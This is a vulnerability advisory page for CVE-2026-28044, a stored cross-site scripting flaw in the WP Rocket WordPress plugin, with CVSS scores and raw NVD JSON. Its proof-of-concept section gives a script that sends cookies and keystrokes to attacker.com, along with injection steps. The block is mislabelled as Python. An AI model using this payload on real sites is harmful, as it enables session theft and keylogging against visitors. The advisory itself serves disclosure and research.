Security Vulnerability Report
中文
CVE-2026-28044 CVSS 5.9 MEDIUM

CVE-2026-28044

Published: 2026-03-19 06:16:26
Last Modified: 2026-04-28 19:37:25

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Media WP Rocket allows Stored XSS.This issue affects WP Rocket: from n/a through 3.19.4.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Rocket < 3.19.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-28044 Stored XSS PoC for WP Rocket <= 3.19.4 --> <!-- This PoC demonstrates how an attacker with high privileges can inject malicious JavaScript --> <!-- Malicious payload to be injected into WP Rocket settings --> <script> // Cookie stealing payload document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">'); // Keylogger payload document.addEventListener('keypress', function(e) { var key = String.fromCharCode(e.which); new Image().src = 'http://attacker.com/log?key=' + key; }); // Session hijacking - redirect to fake login page if (!sessionStorage.getItem('hijacked')) { sessionStorage.setItem('hijacked', 'true'); // Malicious actions can be performed here } </script> <!-- Example injection via WordPress admin interface --> <!-- Steps: --> <!-- 1. Login to WordPress admin with administrator privileges --> <!-- 2. Navigate to Settings > WP Rocket --> <!-- 3. Go to 'Custom CSS' or 'Preload' settings --> <!-- 4. Inject the above script payload --> <!-- 5. Save settings - payload is now stored --> <!-- 6. Any user visiting pages with cached content will execute the script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28044", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:26.173", "lastModified": "2026-04-28T19:37:24.773", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Media WP Rocket allows Stored XSS.This issue affects WP Rocket: from n/a through 3.19.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en WP Media WP Rocket permite XSS Almacenado. Este problema afecta a WP Rocket: desde n/a hasta 3.19.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/wp-rocket/vulnerability/wordpress-wp-rocket-plugin-3-19-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}